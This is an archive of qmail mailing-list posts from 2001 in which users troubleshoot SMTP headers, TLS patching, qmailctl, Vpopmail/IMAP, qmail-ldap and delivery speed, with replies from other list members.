Received: from unknown (HELO WS0005.indiatimes.com) (203.199.93.15)
  by 0 with SMTP; 1 Aug 2001 09:53:00 -
Received: from 192.168.57.15 (a3 [192.168.57.23])
 by WS0005.indiatimes.com (8.9.3/8.9.3) with SMTP id PAA04070

Why unknown ???
SMTP Entries of other smtp servers show correct user or host name !!!

THIS IS JUST ONE EXAMPLE
All mails from any server show same problem.

I Searched on the mailing list,
though many O/P had this symptom nobody seemed to notice.

I am using Qmail 1.03
Through tcpserver with following switches

#!/bin/sh
QMAILD = `id -u qmaild`
NOFILES = `id -g qmaild`
exec /usr/local/bin/tcpserver -v -H -R -o -l 0 -x /etc/qmail/tcp.smtp.cdb \
-u "$QMAILD" -g "$NOFILES" 0 smtp /var/qmail/bin/qmail-smtpd 2>&1

I tried without  -H & -R but same problem ...
Am I missing something

Any Help or directions will be highly appreciated !!

Thanx & Regards
Mustafa M.

-
VeetVision Communications (P) Ltd.
Bungalow RH-3, Moghul Gardens, 411001 Pune, India
Tel. 91-20-6113056, 6051597, 6051598 / Fax 91-20-6050652

SSL again with tls.patch

[Per-fredrik Pollnow (EPK)]

Hi,

I think I'm getting on you nerves in this mailing list with my SSL crap, but I need to 
get it to work.

OK, This is what I have done: I have remake qmail-1.03 with tls.patch, and I replaced 
the qmail-smtpd and qmail-remote binary. I have done a 
/var/qmail/control/servercert.pem (and I have openssl installed (default in the O/S 
[OpenBSD2.9] hmm else I couldn't install the cert.)).

That's it, But I get this error messages in my client:

Unable to establish a SSL connection with the server. Account: '136.225.42.56', 
Server: '136.225.42.56', Protocol: SMTP, Server Response: '454 TLS not available: 
missing RSA private key (#4.3.0)', Port: 25, Secure(SSL): Yes, Server Error: 454, 
Error Number: 0x800CCC7F

If someone knows what the problem is, please mail me and the mailing list a E-mail :=).

/Per

qmailctl restart doesn't work

[François Philippo]

qmail works fine
I configured it with qmail-conf


but "qmailctl restart" does't works
I have a permanent message 
"can't restart qmail-sendalready started"

I have the same when I do :
qmailctl stop
qmailctl start


where does that come from ??

thanx
@+

Does Vpopmail support IMAP?

[KK]

hello friends -

after a lot of hassles, i was successful in installing
Qmail+IMAP-with-Maildir-Patch-by-David-Harris+Vpopmail+MySQL.
following is my quesries relating to the above:

1. Does Vpopmail support
IMAP-with-Maildir-Patch-by-David? Or is it only good
for POP3 mails?

2. After installing the above combination of softwares
(I have followed all the intructions step by step and
also tried the various tips given on this list), I am
still not able to receive incoming emails via Outlook
Express or Netscape Messenger using the IMAP protocol.
I tried both Vchkpw cdb-file format as well as MySQL
format for username/password authentication. But
nothing seems to work. When I click "Get Mails",
neither of the client email software asks for password
and says, "No emails to be downloaded". Though I am
able to send emails using IMAP protocol. I even
checked the Maildir directory for the particular user
and i found that the email has reached in there. When
I try to telnet as: >telnet newqmail.com 143, I get
connected to the IMAP server, but when I type  it displays an error: 
Trying 192.168.0.169... 
connected to nete.linux(192.168.0.169).
Escape character is'^]'.
* PREAUTH nete.linux IMAPreu1 v12.250 server ready
user [EMAIL PROTECTED]
user BAD command unrecognized: [EMAIL PROTECTED]

But, the same thing works with POP3 proptocol. Using
POP3 protocol i am able to send as well as receive
mails using mail clients.

Any suggestions/help/tips is appreciated.


=
KK
[EMAIL PROTECTED], [EMAIL PROTECTED]
Associate
Netesoft India Ltd.
http://www.netesoft.com
P: 91.40.6319813

__
Do You Yahoo!?
Make international calls for as low as $.04/minute with Yahoo! Messenger
http://phonecard.yahoo.com/

Re: smtpfwdd[352]: can't open semaphore file in "/var/smtpd/mqueue" (Permission denied) - bye!

[Adrian Ho]

On Tue, Jul 31, 2001 at 11:25:39PM -0800, Jon Reynolds wrote:
> The Subject of this email is the error i get at startup after i hit ctrl+c,
> when i reboot my system(freebsd4.3rc2)it hangs when trying to start qmail it
> looks like this:
> 
> [1] 220
>   qmail
> status: loal 0/10 remote 0/20
> 
> at this point it hangs and will go no further until i hit ctrl+c when that
> is done i get the:
> 
> smtpfwdd[352]: can't open semaphore file in "/var/smtpd/mqueue" (Permission
> denied) - bye!

I don't use xBSD myself, but a quick Google search suggests you're running
Obtuse smtpd/smtpfwdd (an SMTP store/forward proxy) on your system.  The
first question you gotta ask yourself is: Why would you need it?  Try
disabling it and see what happens.

> This is my first time installing qmail and it has been a harrowing
> experience :)

Probably because you didn't follow .

-- 
Adrian HoTinker, Drifter, Fixer, Bum   [EMAIL PROTECTED]
ListArchive: 
Useful URLs:  
  

Re: slow delivering the outgoing messages

[Dani]

>Dani <[EMAIL PROTECTED]> wrote:
>> Hi, i have a linux box running qmail + mysql with smtpauth, and the
smtp
>> is too slow delivering the outgoing messages. I would like to know if
>> there is any thing i could do to solve this problem, if there are
>> any parameters to be configured in any of the files so the delivery
goes
>> faster.

>>Yes, there probably are.  But you haven't told us anything.  Start by
>>posting the unedited output of qmail-showctl.

>>Charles
-- 
---
Charles Cazabon<[EMAIL PROTECTED]>
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
---

Hi, here there are my output of qmail-showctl:

qmail home directory: /var/qmail.
user-ext delimiter: -.
paternalism (in decimal): 2.
silent concurrency limit: 120.
subdirectory split: 23.
user ids: 501, 502, 503, 0, 504, 505, 506, 507.
group ids: 501, 502.

badmailfrom: (Default.) Any MAIL FROM is allowed.

bouncefrom: (Default.) Bounce user name is MAILER-DAEMON.

bouncehost: (Default.) Bounce host name is host.mydomain.com.

concurrencylocal: (Default.) Local concurrency is 10.

concurrencyremote: (Default.) Remote concurrency is 20.

databytes: (Default.) SMTP DATA limit is 0 bytes.

defaultdomain: Default domain name is mydomain.com.

defaulthost: (Default.) Default host name is host.mydomain.com.

doublebouncehost: (Default.) 2B recipient host: host.mydomain.com.

doublebounceto: (Default.) 2B recipient user: postmaster.

envnoathost: (Default.) Presumed domain name is host.mydomain.com.

helohost: (Default.) SMTP client HELO host name is host.mydomain.com.

idhost: (Default.) Message-ID host name is host.mydomain.com.

localiphost: (Default.) Local IP address becomes host.mydomain.com.

locals:
Messages for host.mydomain.com are delivered locally.
Messages for mydomain.com are delivered locally.

me: My name is host.mydomain.com.

percenthack: (Default.) The percent hack is not allowed.

plusdomain: Plus domain name is mydomain.com.

qmqpservers: (Default.) No QMQP servers.

queuelifetime: (Default.) Message lifetime in the queue is 604800 seconds.

rcpthosts:
SMTP clients may send messages to recipients at localhost.
SMTP clients may send messages to recipients at host.mydomain.com.
SMTP clients may send messages to recipients at mydomain.com.
...

morercpthosts: (Default.) No effect.

morercpthosts.cdb: (Default.) No effect.

smtpgreeting: (Default.) SMTP greeting: 220 host.mydomain.com.

smtproutes: (Default.) No artificial SMTP routes.

timeoutconnect: (Default.) SMTP client connection timeout is 60 seconds.

timeoutremote: (Default.) SMTP client data timeout is 1200 seconds.

timeoutsmtpd: (Default.) SMTP server data timeout is 1200 seconds.

virtualdomains:

sqlserver: I have no idea what this file does.

.rcpthosts.swp: I have no idea what this file does.

qmailadmin.conf: I have no idea what this file does.

Thanx

Re: smtpfwdd[352]: can't open semaphore file in "/var/smtpd/mqueue" (Permission denied) - bye!

[Henning Brauer]

On Tue, Jul 31, 2001 at 11:25:39PM -0800, Jon Reynolds wrote:
> smtpfwdd[352]: can't open semaphore file in "/var/smtpd/mqueue" (Permission
> denied) - bye!

This is no qmail message.

-- 
* Henning Brauer, [EMAIL PROTECTED], http://www.bsws.de *
* Roedingsmarkt 14, 20459 Hamburg, Germany   *
Unix is very simple, but it takes a genius to understand the simplicity.
(Dennis Ritchie)

Re: deferral:Temporary_error_in_qmail-qmqpc_(as_mail_forwarder)_(LDAP-ERR_#239)

[Henning Brauer]

On Tue, Jul 31, 2001 at 05:13:33PM +0700, Vu Xuan Ngoc wrote:
> I am using qmail-ldap with qmail-ldap-20010301.patch

So use the qmail-ldap list.

> I creat a ldap entry:
> 
> dn: uid=media,ou=qmailusers,dc=vn
> objectClass: person
> objectClass: qmailuser
> ...

Don't hide details.

> accountStatus: active
> homeDirectory: /home/export/media
> deliveryMode: ./maildir/

This is bogus. Read http://www.lifewithqmail.org/ldap/ again and look for
valid deliverymodes.

> mailhost: newsletters.vnn.vn
> mail: [EMAIL PROTECTED]
> ...
> when I receive message [EMAIL PROTECTED],
> I get an error:
> deferral:
> Temporary_error_in_qmail-qmqpc_(as_mail_forwarder)_(LDAP-ERR_#239)

I told it a thousand times and wrote it in life with qmail-ldap:
-make sure clustering is compiled _and_ turned on on _every_ machine in the
cluster
-make sure every hostname used for MailHost: attributes is exactly equal to
control/me on one cluster member
-make sure every hostname used for MailHost: attributes resolves to an IP
via DNS, /etc/hosts doesn't count. On each of these IPs a qmail-qmqpd must
be running and accepting mails from the other hosts - check your access
control.

-- 
* Henning Brauer, [EMAIL PROTECTED], http://www.bsws.de *
* Roedingsmarkt 14, 20459 Hamburg, Germany   *
Unix is very simple, but it takes a genius to understand the simplicity.
(Dennis Ritchie)

smtpfwdd[352]: can't open semaphore file in "/var/smtpd/mqueue" (Permission denied) - bye!

[Jon Reynolds]

The Subject of this email is the error i get at startup after i hit ctrl+c,
when i reboot my system(freebsd4.3rc2)it hangs when trying to start qmail it
looks like this:

[1] 220
  qmail
status: loal 0/10 remote 0/20

at this point it hangs and will go no further until i hit ctrl+c when that
is done i get the:

smtpfwdd[352]: can't open semaphore file in "/var/smtpd/mqueue" (Permission
denied) - bye!

This is my first time installing qmail and it has been a harrowing
experience :)

Any help would be most appreciated,

Jon